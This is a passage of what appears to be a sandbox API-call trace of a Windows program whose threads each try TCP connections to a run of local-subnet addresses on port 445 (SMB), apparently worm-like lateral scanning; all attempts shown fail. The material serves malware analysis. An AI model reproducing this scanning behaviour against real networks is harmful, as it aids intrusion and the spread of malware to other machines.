0 [0094.369] GetCurrentThreadId () returned 0xb6c [0094.370] GetCurrentThreadId () returned 0xb6c [0094.370] GetCurrentThreadId () returned 0xb6c Thread: id = 75 os_tid = 0xb78 [0073.203] GetCurrentThreadId () returned 0xb78 [0073.203] GetCurrentThreadId () returned 0xb78 [0073.203] GetCurrentThreadId () returned 0xb78 [0073.203] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x659fdf0 | out: lpWSAData=0x659fdf0) returned 0 [0073.203] socket (af=2, type=1, protocol=0) returned 0x534 [0073.203] inet_addr (cp="192.168.0.17") returned 0x1100a8c0 [0073.203] htons (hostshort=0x1bd) returned 0xbd01 [0073.203] connect (s=0x534, name=0x659fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.17"), namelen=16) returned -1 [0094.370] closesocket (s=0x534) returned 0 [0094.370] WSACleanup () returned 0 [0094.370] GetCurrentThreadId () returned 0xb78 [0094.370] GetCurrentThreadId () returned 0xb78 [0094.370] GetCurrentThreadId () returned 0xb78 Thread: id = 76 os_tid = 0xbec [0073.295] GetCurrentThreadId () returned 0xbec [0073.295] GetCurrentThreadId () returned 0xbec [0073.295] GetCurrentThreadId () returned 0xbec [0073.295] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x66dfdf0 | out: lpWSAData=0x66dfdf0) returned 0 [0073.295] socket (af=2, type=1, protocol=0) returned 0x548 [0073.295] inet_addr (cp="192.168.0.26") returned 0x1a00a8c0 [0073.295] htons (hostshort=0x1bd) returned 0xbd01 [0073.295] connect (s=0x548, name=0x66dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.26"), namelen=16) returned -1 [0094.370] closesocket (s=0x548) returned 0 [0094.370] WSACleanup () returned 0 [0094.370] GetCurrentThreadId () returned 0xbec [0094.370] GetCurrentThreadId () returned 0xbec [0094.370] GetCurrentThreadId () returned 0xbec Thread: id = 77 os_tid = 0x69c [0073.302] GetCurrentThreadId () returned 0x69c [0073.302] GetCurrentThreadId () returned 0x69c [0073.302] GetCurrentThreadId () returned 0x69c [0073.302] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x681fdf0 | out: lpWSAData=0x681fdf0) returned 0 [0073.302] socket (af=2, type=1, protocol=0) returned 0x554 [0073.302] inet_addr (cp="192.168.0.18") returned 0x1200a8c0 [0073.302] htons (hostshort=0x1bd) returned 0xbd01 [0073.302] connect (s=0x554, name=0x681fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.18"), namelen=16) returned -1 [0094.371] closesocket (s=0x554) returned 0 [0094.371] WSACleanup () returned 0 [0094.371] GetCurrentThreadId () returned 0x69c [0094.371] GetCurrentThreadId () returned 0x69c [0094.371] GetCurrentThreadId () returned 0x69c Thread: id = 78 os_tid = 0x35c [0073.387] GetCurrentThreadId () returned 0x35c [0073.387] GetCurrentThreadId () returned 0x35c [0073.387] GetCurrentThreadId () returned 0x35c [0073.387] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x695fdf0 | out: lpWSAData=0x695fdf0) returned 0 [0073.387] socket (af=2, type=1, protocol=0) returned 0x568 [0073.387] inet_addr (cp="192.168.0.27") returned 0x1b00a8c0 [0073.387] htons (hostshort=0x1bd) returned 0xbd01 [0073.388] connect (s=0x568, name=0x695fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.27"), namelen=16) returned -1 [0094.463] closesocket (s=0x568) returned 0 [0094.463] WSACleanup () returned 0 [0094.463] GetCurrentThreadId () returned 0x35c [0094.463] GetCurrentThreadId () returned 0x35c [0094.463] GetCurrentThreadId () returned 0x35c Thread: id = 79 os_tid = 0x2ac [0073.388] GetCurrentThreadId () returned 0x2ac [0073.388] GetCurrentThreadId () returned 0x2ac [0073.388] GetCurrentThreadId () returned 0x2ac [0073.388] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6a9fdf0 | out: lpWSAData=0x6a9fdf0) returned 0 [0073.388] socket (af=2, type=1, protocol=0) returned 0x574 [0073.389] inet_addr (cp="192.168.0.19") returned 0x1300a8c0 [0073.389] htons (hostshort=0x1bd) returned 0xbd01 [0073.389] connect (s=0x574, name=0x6a9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.19"), namelen=16) returned -1 [0094.464] closesocket (s=0x574) returned 0 [0094.464] WSACleanup () returned 0 [0094.464] GetCurrentThreadId () returned 0x2ac [0094.464] GetCurrentThreadId () returned 0x2ac [0094.464] GetCurrentThreadId () returned 0x2ac Thread: id = 80 os_tid = 0x4f4 [0073.481] GetCurrentThreadId () returned 0x4f4 [0073.481] GetCurrentThreadId () returned 0x4f4 [0073.481] GetCurrentThreadId () returned 0x4f4 [0073.481] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6bdfdf0 | out: lpWSAData=0x6bdfdf0) returned 0 [0073.481] socket (af=2, type=1, protocol=0) returned 0x588 [0073.481] inet_addr (cp="192.168.0.28") returned 0x1c00a8c0 [0073.481] htons (hostshort=0x1bd) returned 0xbd01 [0073.481] connect (s=0x588, name=0x6bdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.28"), namelen=16) returned -1 [0095.060] closesocket (s=0x588) returned 0 [0095.060] WSACleanup () returned 0 [0095.060] GetCurrentThreadId () returned 0x4f4 [0095.060] GetCurrentThreadId () returned 0x4f4 [0095.060] GetCurrentThreadId () returned 0x4f4 Thread: id = 81 os_tid = 0xbb0 [0073.492] GetCurrentThreadId () returned 0xbb0 [0073.492] GetCurrentThreadId () returned 0xbb0 [0073.492] GetCurrentThreadId () returned 0xbb0 [0073.492] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6d1fdf0 | out: lpWSAData=0x6d1fdf0) returned 0 [0073.492] socket (af=2, type=1, protocol=0) returned 0x594 [0073.492] inet_addr (cp="192.168.0.20") returned 0x1400a8c0 [0073.492] htons (hostshort=0x1bd) returned 0xbd01 [0073.492] connect (s=0x594, name=0x6d1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.20"), namelen=16) returned -1 [0095.061] closesocket (s=0x594) returned 0 [0095.061] WSACleanup () returned 0 [0095.061] GetCurrentThreadId () returned 0xbb0 [0095.061] GetCurrentThreadId () returned 0xbb0 [0095.061] GetCurrentThreadId () returned 0xbb0 Thread: id = 82 os_tid = 0xb88 [0073.574] GetCurrentThreadId () returned 0xb88 [0073.574] GetCurrentThreadId () returned 0xb88 [0073.574] GetCurrentThreadId () returned 0xb88 [0073.574] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6e5fdf0 | out: lpWSAData=0x6e5fdf0) returned 0 [0073.574] socket (af=2, type=1, protocol=0) returned 0x5a8 [0073.575] inet_addr (cp="192.168.0.29") returned 0x1d00a8c0 [0073.575] htons (hostshort=0x1bd) returned 0xbd01 [0073.575] connect (s=0x5a8, name=0x6e5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.29"), namelen=16) returned -1 [0095.062] closesocket (s=0x5a8) returned 0 [0095.062] WSACleanup () returned 0 [0095.062] GetCurrentThreadId () returned 0xb88 [0095.062] GetCurrentThreadId () returned 0xb88 [0095.062] GetCurrentThreadId () returned 0xb88 Thread: id = 83 os_tid = 0x654 [0073.576] GetCurrentThreadId () returned 0x654 [0073.576] GetCurrentThreadId () returned 0x654 [0073.576] GetCurrentThreadId () returned 0x654 [0073.576] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x6f9fdf0 | out: lpWSAData=0x6f9fdf0) returned 0 [0073.576] socket (af=2, type=1, protocol=0) returned 0x5b4 [0073.576] inet_addr (cp="192.168.0.21") returned 0x1500a8c0 [0073.576] htons (hostshort=0x1bd) returned 0xbd01 [0073.576] connect (s=0x5b4, name=0x6f9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.21"), namelen=16) returned -1 [0095.062] closesocket (s=0x5b4) returned 0 [0095.063] WSACleanup () returned 0 [0095.063] GetCurrentThreadId () returned 0x654 [0095.063] GetCurrentThreadId () returned 0x654 [0095.063] GetCurrentThreadId () returned 0x654 Thread: id = 84 os_tid = 0x878 [0073.668] GetCurrentThreadId () returned 0x878 [0073.668] GetCurrentThreadId () returned 0x878 [0073.668] GetCurrentThreadId () returned 0x878 [0073.668] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x70dfdf0 | out: lpWSAData=0x70dfdf0) returned 0 [0073.668] socket (af=2, type=1, protocol=0) returned 0x5c8 [0073.669] inet_addr (cp="192.168.0.30") returned 0x1e00a8c0 [0073.669] htons (hostshort=0x1bd) returned 0xbd01 [0073.669] connect (s=0x5c8, name=0x70dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.30"), namelen=16) returned -1 [0095.063] closesocket (s=0x5c8) returned 0 [0095.063] WSACleanup () returned 0 [0095.063] GetCurrentThreadId () returned 0x878 [0095.063] GetCurrentThreadId () returned 0x878 [0095.063] GetCurrentThreadId () returned 0x878 Thread: id = 85 os_tid = 0x74c [0073.669] GetCurrentThreadId () returned 0x74c [0073.669] GetCurrentThreadId () returned 0x74c [0073.670] GetCurrentThreadId () returned 0x74c [0073.670] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x721fdf0 | out: lpWSAData=0x721fdf0) returned 0 [0073.670] socket (af=2, type=1, protocol=0) returned 0x5d4 [0073.672] inet_addr (cp="192.168.0.22") returned 0x1600a8c0 [0073.672] htons (hostshort=0x1bd) returned 0xbd01 [0073.672] connect (s=0x5d4, name=0x721fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.22"), namelen=16) returned -1 [0095.064] closesocket (s=0x5d4) returned 0 [0095.064] WSACleanup () returned 0 [0095.064] GetCurrentThreadId () returned 0x74c [0095.064] GetCurrentThreadId () returned 0x74c [0095.064] GetCurrentThreadId () returned 0x74c Thread: id = 86 os_tid = 0x7cc [0073.762] GetCurrentThreadId () returned 0x7cc [0073.762] GetCurrentThreadId () returned 0x7cc [0073.762] GetCurrentThreadId () returned 0x7cc [0073.762] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x735fdf0 | out: lpWSAData=0x735fdf0) returned 0 [0073.762] socket (af=2, type=1, protocol=0) returned 0x5e8 [0073.762] inet_addr (cp="192.168.0.31") returned 0x1f00a8c0 [0073.762] htons (hostshort=0x1bd) returned 0xbd01 [0073.762] connect (s=0x5e8, name=0x735fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.31"), namelen=16) returned -1 [0095.065] closesocket (s=0x5e8) returned 0 [0095.065] WSACleanup () returned 0 [0095.065] GetCurrentThreadId () returned 0x7cc [0095.065] GetCurrentThreadId () returned 0x7cc [0095.065] GetCurrentThreadId () returned 0x7cc Thread: id = 87 os_tid = 0x928 [0073.763] GetCurrentThreadId () returned 0x928 [0073.763] GetCurrentThreadId () returned 0x928 [0073.763] GetCurrentThreadId () returned 0x928 [0073.763] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x749fdf0 | out: lpWSAData=0x749fdf0) returned 0 [0073.763] socket (af=2, type=1, protocol=0) returned 0x5f4 [0073.763] inet_addr (cp="192.168.0.23") returned 0x1700a8c0 [0073.763] htons (hostshort=0x1bd) returned 0xbd01 [0073.764] connect (s=0x5f4, name=0x749fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.23"), namelen=16) returned -1 [0095.066] closesocket (s=0x5f4) returned 0 [0095.066] WSACleanup () returned 0 [0095.066] GetCurrentThreadId () returned 0x928 [0095.066] GetCurrentThreadId () returned 0x928 [0095.066] GetCurrentThreadId () returned 0x928 Thread: id = 88 os_tid = 0x968 [0073.856] GetCurrentThreadId () returned 0x968 [0073.856] GetCurrentThreadId () returned 0x968 [0073.856] GetCurrentThreadId () returned 0x968 [0073.856] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x75dfdf0 | out: lpWSAData=0x75dfdf0) returned 0 [0073.856] socket (af=2, type=1, protocol=0) returned 0x608 [0073.857] inet_addr (cp="192.168.0.32") returned 0x2000a8c0 [0073.857] htons (hostshort=0x1bd) returned 0xbd01 [0073.857] connect (s=0x608, name=0x75dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.32"), namelen=16) returned -1 [0095.067] closesocket (s=0x608) returned 0 [0095.067] WSACleanup () returned 0 [0095.067] GetCurrentThreadId () returned 0x968 [0095.067] GetCurrentThreadId () returned 0x968 [0095.067] GetCurrentThreadId () returned 0x968 Thread: id = 89 os_tid = 0xb08 [0073.859] GetCurrentThreadId () returned 0xb08 [0073.859] GetCurrentThreadId () returned 0xb08 [0073.859] GetCurrentThreadId () returned 0xb08 [0073.859] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x771fdf0 | out: lpWSAData=0x771fdf0) returned 0 [0073.859] socket (af=2, type=1, protocol=0) returned 0x614 [0073.859] inet_addr (cp="192.168.0.24") returned 0x1800a8c0 [0073.859] htons (hostshort=0x1bd) returned 0xbd01 [0073.859] connect (s=0x614, name=0x771fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.24"), namelen=16) returned -1 [0095.067] closesocket (s=0x614) returned 0 [0095.068] WSACleanup () returned 0 [0095.068] GetCurrentThreadId () returned 0xb08 [0095.068] GetCurrentThreadId () returned 0xb08 [0095.068] GetCurrentThreadId () returned 0xb08 Thread: id = 90 os_tid = 0xb18 [0073.949] GetCurrentThreadId () returned 0xb18 [0073.950] GetCurrentThreadId () returned 0xb18 [0073.950] GetCurrentThreadId () returned 0xb18 [0073.950] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x785fdf0 | out: lpWSAData=0x785fdf0) returned 0 [0073.950] socket (af=2, type=1, protocol=0) returned 0x628 [0073.950] inet_addr (cp="192.168.0.33") returned 0x2100a8c0 [0073.950] htons (hostshort=0x1bd) returned 0xbd01 [0073.950] connect (s=0x628, name=0x785fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.33"), namelen=16) returned -1 [0095.068] closesocket (s=0x628) returned 0 [0095.068] WSACleanup () returned 0 [0095.068] GetCurrentThreadId () returned 0xb18 [0095.068] GetCurrentThreadId () returned 0xb18 [0095.069] GetCurrentThreadId () returned 0xb18 Thread: id = 91 os_tid = 0x8a8 [0073.951] GetCurrentThreadId () returned 0x8a8 [0073.951] GetCurrentThreadId () returned 0x8a8 [0073.951] GetCurrentThreadId () returned 0x8a8 [0073.951] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x799fdf0 | out: lpWSAData=0x799fdf0) returned 0 [0073.951] socket (af=2, type=1, protocol=0) returned 0x634 [0073.951] inet_addr (cp="192.168.0.25") returned 0x1900a8c0 [0073.951] htons (hostshort=0x1bd) returned 0xbd01 [0073.951] connect (s=0x634, name=0x799fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.25"), namelen=16) returned -1 [0095.069] closesocket (s=0x634) returned 0 [0095.069] WSACleanup () returned 0 [0095.069] GetCurrentThreadId () returned 0x8a8 [0095.069] GetCurrentThreadId () returned 0x8a8 [0095.069] GetCurrentThreadId () returned 0x8a8 Thread: id = 92 os_tid = 0x828 [0074.058] GetCurrentThreadId () returned 0x828 [0074.058] GetCurrentThreadId () returned 0x828 [0074.058] GetCurrentThreadId () returned 0x828 [0074.058] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7adfdf0 | out: lpWSAData=0x7adfdf0) returned 0 [0074.058] socket (af=2, type=1, protocol=0) returned 0x648 [0074.059] inet_addr (cp="192.168.0.34") returned 0x2200a8c0 [0074.059] htons (hostshort=0x1bd) returned 0xbd01 [0074.059] connect (s=0x648, name=0x7adfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.34"), namelen=16) returned -1 [0095.165] closesocket (s=0x648) returned 0 [0095.166] WSACleanup () returned 0 [0095.166] GetCurrentThreadId () returned 0x828 [0095.166] GetCurrentThreadId () returned 0x828 [0095.166] GetCurrentThreadId () returned 0x828 Thread: id = 93 os_tid = 0x918 [0074.059] GetCurrentThreadId () returned 0x918 [0074.060] GetCurrentThreadId () returned 0x918 [0074.060] GetCurrentThreadId () returned 0x918 [0074.060] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7c1fdf0 | out: lpWSAData=0x7c1fdf0) returned 0 [0074.060] socket (af=2, type=1, protocol=0) returned 0x654 [0074.060] inet_addr (cp="192.168.0.26") returned 0x1a00a8c0 [0074.060] htons (hostshort=0x1bd) returned 0xbd01 [0074.060] connect (s=0x654, name=0x7c1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.26"), namelen=16) returned -1 [0095.166] closesocket (s=0x654) returned 0 [0095.167] WSACleanup () returned 0 [0095.167] GetCurrentThreadId () returned 0x918 [0095.167] GetCurrentThreadId () returned 0x918 [0095.167] GetCurrentThreadId () returned 0x918 Thread: id = 94 os_tid = 0x1c4 [0074.153] GetCurrentThreadId () returned 0x1c4 [0074.153] GetCurrentThreadId () returned 0x1c4 [0074.153] GetCurrentThreadId () returned 0x1c4 [0074.153] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7d5fdf0 | out: lpWSAData=0x7d5fdf0) returned 0 [0074.153] socket (af=2, type=1, protocol=0) returned 0x668 [0074.153] inet_addr (cp="192.168.0.35") returned 0x2300a8c0 [0074.153] htons (hostshort=0x1bd) returned 0xbd01 [0074.153] connect (s=0x668, name=0x7d5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.35"), namelen=16) returned -1 [0095.368] closesocket (s=0x668) returned 0 [0095.368] WSACleanup () returned 0 [0095.368] GetCurrentThreadId () returned 0x1c4 [0095.368] GetCurrentThreadId () returned 0x1c4 [0095.368] GetCurrentThreadId () returned 0x1c4 Thread: id = 95 os_tid = 0x818 [0074.154] GetCurrentThreadId () returned 0x818 [0074.154] GetCurrentThreadId () returned 0x818 [0074.154] GetCurrentThreadId () returned 0x818 [0074.154] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7e9fdf0 | out: lpWSAData=0x7e9fdf0) returned 0 [0074.154] socket (af=2, type=1, protocol=0) returned 0x674 [0074.154] inet_addr (cp="192.168.0.27") returned 0x1b00a8c0 [0074.154] htons (hostshort=0x1bd) returned 0xbd01 [0074.154] connect (s=0x674, name=0x7e9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.27"), namelen=16) returned -1 [0095.369] closesocket (s=0x674) returned 0 [0095.369] WSACleanup () returned 0 [0095.369] GetCurrentThreadId () returned 0x818 [0095.369] GetCurrentThreadId () returned 0x818 [0095.369] GetCurrentThreadId () returned 0x818 Thread: id = 96 os_tid = 0x808 [0074.247] GetCurrentThreadId () returned 0x808 [0074.247] GetCurrentThreadId () returned 0x808 [0074.247] GetCurrentThreadId () returned 0x808 [0074.247] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x7fdfdf0 | out: lpWSAData=0x7fdfdf0) returned 0 [0074.247] socket (af=2, type=1, protocol=0) returned 0x688 [0074.248] inet_addr (cp="192.168.0.36") returned 0x2400a8c0 [0074.248] htons (hostshort=0x1bd) returned 0xbd01 [0074.248] connect (s=0x688, name=0x7fdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.36"), namelen=16) returned -1 [0095.370] closesocket (s=0x688) returned 0 [0095.370] WSACleanup () returned 0 [0095.370] GetCurrentThreadId () returned 0x808 [0095.370] GetCurrentThreadId () returned 0x808 [0095.370] GetCurrentThreadId () returned 0x808 Thread: id = 97 os_tid = 0x7e0 [0074.249] GetCurrentThreadId () returned 0x7e0 [0074.249] GetCurrentThreadId () returned 0x7e0 [0074.249] GetCurrentThreadId () returned 0x7e0 [0074.249] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x811fdf0 | out: lpWSAData=0x811fdf0) returned 0 [0074.249] socket (af=2, type=1, protocol=0) returned 0x694 [0074.249] inet_addr (cp="192.168.0.28") returned 0x1c00a8c0 [0074.249] htons (hostshort=0x1bd) returned 0xbd01 [0074.249] connect (s=0x694, name=0x811fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.28"), namelen=16) returned -1 [0095.371] closesocket (s=0x694) returned 0 [0095.371] WSACleanup () returned 0 [0095.371] GetCurrentThreadId () returned 0x7e0 [0095.371] GetCurrentThreadId () returned 0x7e0 [0095.371] GetCurrentThreadId () returned 0x7e0 Thread: id = 98 os_tid = 0x938 [0074.340] GetCurrentThreadId () returned 0x938 [0074.340] GetCurrentThreadId () returned 0x938 [0074.340] GetCurrentThreadId () returned 0x938 [0074.340] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x825fdf0 | out: lpWSAData=0x825fdf0) returned 0 [0074.340] socket (af=2, type=1, protocol=0) returned 0x6a8 [0074.340] inet_addr (cp="192.168.0.37") returned 0x2500a8c0 [0074.340] htons (hostshort=0x1bd) returned 0xbd01 [0074.340] connect (s=0x6a8, name=0x825fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.37"), namelen=16) returned -1 [0095.372] closesocket (s=0x6a8) returned 0 [0095.372] WSACleanup () returned 0 [0095.372] GetCurrentThreadId () returned 0x938 [0095.372] GetCurrentThreadId () returned 0x938 [0095.372] GetCurrentThreadId () returned 0x938 Thread: id = 99 os_tid = 0xa68 [0074.341] GetCurrentThreadId () returned 0xa68 [0074.341] GetCurrentThreadId () returned 0xa68 [0074.341] GetCurrentThreadId () returned 0xa68 [0074.341] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x839fdf0 | out: lpWSAData=0x839fdf0) returned 0 [0074.341] socket (af=2, type=1, protocol=0) returned 0x6b4 [0074.341] inet_addr (cp="192.168.0.29") returned 0x1d00a8c0 [0074.341] htons (hostshort=0x1bd) returned 0xbd01 [0074.341] connect (s=0x6b4, name=0x839fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.29"), namelen=16) returned -1 [0095.372] closesocket (s=0x6b4) returned 0 [0095.373] WSACleanup () returned 0 [0095.373] GetCurrentThreadId () returned 0xa68 [0095.373] GetCurrentThreadId () returned 0xa68 [0095.373] GetCurrentThreadId () returned 0xa68 Thread: id = 100 os_tid = 0x328 [0074.432] GetCurrentThreadId () returned 0x328 [0074.432] GetCurrentThreadId () returned 0x328 [0074.432] GetCurrentThreadId () returned 0x328 [0074.432] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x84dfdf0 | out: lpWSAData=0x84dfdf0) returned 0 [0074.432] socket (af=2, type=1, protocol=0) returned 0x6c8 [0074.433] inet_addr (cp="192.168.0.38") returned 0x2600a8c0 [0074.433] htons (hostshort=0x1bd) returned 0xbd01 [0074.433] connect (s=0x6c8, name=0x84dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.38"), namelen=16) returned -1 [0095.509] closesocket (s=0x6c8) returned 0 [0095.510] WSACleanup () returned 0 [0095.510] GetCurrentThreadId () returned 0x328 [0095.510] GetCurrentThreadId () returned 0x328 [0095.510] GetCurrentThreadId () returned 0x328 Thread: id = 101 os_tid = 0x5b0 [0074.434] GetCurrentThreadId () returned 0x5b0 [0074.434] GetCurrentThreadId () returned 0x5b0 [0074.434] GetCurrentThreadId () returned 0x5b0 [0074.434] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x861fdf0 | out: lpWSAData=0x861fdf0) returned 0 [0074.434] socket (af=2, type=1, protocol=0) returned 0x6d4 [0074.434] inet_addr (cp="192.168.0.30") returned 0x1e00a8c0 [0074.434] htons (hostshort=0x1bd) returned 0xbd01 [0074.434] connect (s=0x6d4, name=0x861fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.30"), namelen=16) returned -1 [0095.510] closesocket (s=0x6d4) returned 0 [0095.510] WSACleanup () returned 0 [0095.510] GetCurrentThreadId () returned 0x5b0 [0095.510] GetCurrentThreadId () returned 0x5b0 [0095.510] GetCurrentThreadId () returned 0x5b0 Thread: id = 102 os_tid = 0x858 [0074.526] GetCurrentThreadId () returned 0x858 [0074.526] GetCurrentThreadId () returned 0x858 [0074.526] GetCurrentThreadId () returned 0x858 [0074.526] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x875fdf0 | out: lpWSAData=0x875fdf0) returned 0 [0074.526] socket (af=2, type=1, protocol=0) returned 0x6e8 [0074.526] inet_addr (cp="192.168.0.39") returned 0x2700a8c0 [0074.526] htons (hostshort=0x1bd) returned 0xbd01 [0074.527] connect (s=0x6e8, name=0x875fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.39"), namelen=16) returned -1 [0095.713] closesocket (s=0x6e8) returned 0 [0095.714] WSACleanup () returned 0 [0095.714] GetCurrentThreadId () returned 0x858 [0095.714] GetCurrentThreadId () returned 0x858 [0095.714] GetCurrentThreadId () returned 0x858 Thread: id = 103 os_tid = 0xb2c [0074.539] GetCurrentThreadId () returned 0xb2c [0074.539] GetCurrentThreadId () returned 0xb2c [0074.539] GetCurrentThreadId () returned 0xb2c [0074.539] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x889fdf0 | out: lpWSAData=0x889fdf0) returned 0 [0074.539] socket (af=2, type=1, protocol=0) returned 0x6f4 [0074.539] inet_addr (cp="192.168.0.31") returned 0x1f00a8c0 [0074.539] htons (hostshort=0x1bd) returned 0xbd01 [0074.539] connect (s=0x6f4, name=0x889fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.31"), namelen=16) returned -1 [0095.714] closesocket (s=0x6f4) returned 0 [0095.714] WSACleanup () returned 0 [0095.714] GetCurrentThreadId () returned 0xb2c [0095.714] GetCurrentThreadId () returned 0xb2c [0095.714] GetCurrentThreadId () returned 0xb2c Thread: id = 104 os_tid = 0xb4c [0074.621] GetCurrentThreadId () returned 0xb4c [0074.621] GetCurrentThreadId () returned 0xb4c [0074.621] GetCurrentThreadId () returned 0xb4c [0074.621] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x89dfdf0 | out: lpWSAData=0x89dfdf0) returned 0 [0074.621] socket (af=2, type=1, protocol=0) returned 0x708 [0074.621] inet_addr (cp="192.168.0.40") returned 0x2800a8c0 [0074.621] htons (hostshort=0x1bd) returned 0xbd01 [0074.621] connect (s=0x708, name=0x89dfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.40"), namelen=16) returned -1 [0095.714] closesocket (s=0x708) returned 0 [0095.715] WSACleanup () returned 0 [0095.715] GetCurrentThreadId () returned 0xb4c [0095.715] GetCurrentThreadId () returned 0xb4c [0095.715] GetCurrentThreadId () returned 0xb4c Thread: id = 105 os_tid = 0xb5c [0074.622] GetCurrentThreadId () returned 0xb5c [0074.622] GetCurrentThreadId () returned 0xb5c [0074.622] GetCurrentThreadId () returned 0xb5c [0074.622] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x8b1fdf0 | out: lpWSAData=0x8b1fdf0) returned 0 [0074.622] socket (af=2, type=1, protocol=0) returned 0x714 [0074.622] inet_addr (cp="192.168.0.32") returned 0x2000a8c0 [0074.622] htons (hostshort=0x1bd) returned 0xbd01 [0074.623] connect (s=0x714, name=0x8b1fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.32"), namelen=16) returned -1 [0095.715] closesocket (s=0x714) returned 0 [0095.715] WSACleanup () returned 0 [0095.715] GetCurrentThreadId () returned 0xb5c [0095.715] GetCurrentThreadId () returned 0xb5c [0095.715] GetCurrentThreadId () returned 0xb5c Thread: id = 106 os_tid = 0xa98 [0074.714] GetCurrentThreadId () returned 0xa98 [0074.714] GetCurrentThreadId () returned 0xa98 [0074.714] GetCurrentThreadId () returned 0xa98 [0074.714] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x8c5fdf0 | out: lpWSAData=0x8c5fdf0) returned 0 [0074.714] socket (af=2, type=1, protocol=0) returned 0x728 [0074.714] inet_addr (cp="192.168.0.41") returned 0x2900a8c0 [0074.714] htons (hostshort=0x1bd) returned 0xbd01 [0074.714] connect (s=0x728, name=0x8c5fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.41"), namelen=16) returned -1 [0095.992] closesocket (s=0x728) returned 0 [0095.992] WSACleanup () returned 0 [0095.992] GetCurrentThreadId () returned 0xa98 [0095.992] GetCurrentThreadId () returned 0xa98 [0095.992] GetCurrentThreadId () returned 0xa98 Thread: id = 107 os_tid = 0x7f8 [0074.715] GetCurrentThreadId () returned 0x7f8 [0074.715] GetCurrentThreadId () returned 0x7f8 [0074.715] GetCurrentThreadId () returned 0x7f8 [0074.715] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x8d9fdf0 | out: lpWSAData=0x8d9fdf0) returned 0 [0074.715] socket (af=2, type=1, protocol=0) returned 0x734 [0074.715] inet_addr (cp="192.168.0.33") returned 0x2100a8c0 [0074.715] htons (hostshort=0x1bd) returned 0xbd01 [0074.716] connect (s=0x734, name=0x8d9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.33"), namelen=16) returned -1 [0095.993] closesocket (s=0x734) returned 0 [0095.993] WSACleanup () returned 0 [0095.993] GetCurrentThreadId () returned 0x7f8 [0095.993] GetCurrentThreadId () returned 0x7f8 [0095.993] GetCurrentThreadId () returned 0x7f8 Thread: id = 108 os_tid = 0xbf0 [0074.807] GetCurrentThreadId () returned 0xbf0 [0074.807] GetCurrentThreadId () returned 0xbf0 [0074.807] GetCurrentThreadId () returned 0xbf0 [0074.807] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x8edfdf0 | out: lpWSAData=0x8edfdf0) returned 0 [0074.807] socket (af=2, type=1, protocol=0) returned 0x748 [0074.807] inet_addr (cp="192.168.0.42") returned 0x2a00a8c0 [0074.807] htons (hostshort=0x1bd) returned 0xbd01 [0074.807] connect (s=0x748, name=0x8edfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.42"), namelen=16) returned -1 [0095.993] closesocket (s=0x748) returned 